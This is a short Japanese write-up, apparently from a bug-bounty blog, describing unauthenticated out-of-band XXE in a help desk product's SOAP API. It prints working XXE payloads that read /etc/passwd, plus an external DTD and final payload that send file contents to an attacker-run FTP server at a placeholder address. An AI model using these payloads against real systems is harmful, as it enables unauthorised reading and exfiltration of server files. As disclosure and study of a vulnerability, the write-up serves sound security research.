Hello there, ('ω')ノ
ヘルプ デスク ソフトウェアの SOAP ベースの認証されていない
アウトオブバンド XML 外部エンティティ (OOB-XXE)を。
脆弱性:
XXE
記事:
今回は、アプリケーションの登録中に、次のような wsdl ファイルを取得して。
https://victim.com/services/ApiService?wsdl
以下の画像に示すように、wsdler burp 拡張機能を使用して
wsdl ファイルを解析して。
ここで、リピータにリクエストを送信し、XXE のファジングを開始し。
まず、次のようなクラシック XXE ペイロードから始めて。
<?xml version=”1.0"?><!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY file SYSTEM “file:///etc/passwd”>]><data>&file;</data>
/etc/passwdファイルの場合
/etc/shadowファイルの場合
ご覧のとおり、上記 2 つの応答から脆弱性の存在を確認できますが、
サーバからファイルを列挙することしかできず。
ファイルの内容を抽出するには、FTP サーバをエミュレートする必要があり
次のペイロードを使用してサーバ上に xxe.dtd ファイルをセットアップして。
<!ENTITY % d SYSTEM “file:///etc/passwd”><!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;'>">
次のリンクからエミュレートされた FTP サーバをダウンロードして実行し
リッスンするポートを確認して。
ONsec-Lab/スクリプト:
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
ここで、次のような脆弱なリクエストに
次の XXE ペイロードを入力する必要があって。
<!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://x.x.x.x/xxe.dtd"> %asd; %c;]> <sessionId>&rrr;</sessionId>
最終的な XXE ペイロード
脆弱なリクエストを実行するとすぐに、以下のスクリーンショットに示すように、
エミュレートされた FTP サーバで /etc/passwd ファイルのコンテンツの受信が
開始されて。
Best regards, (^^ゞ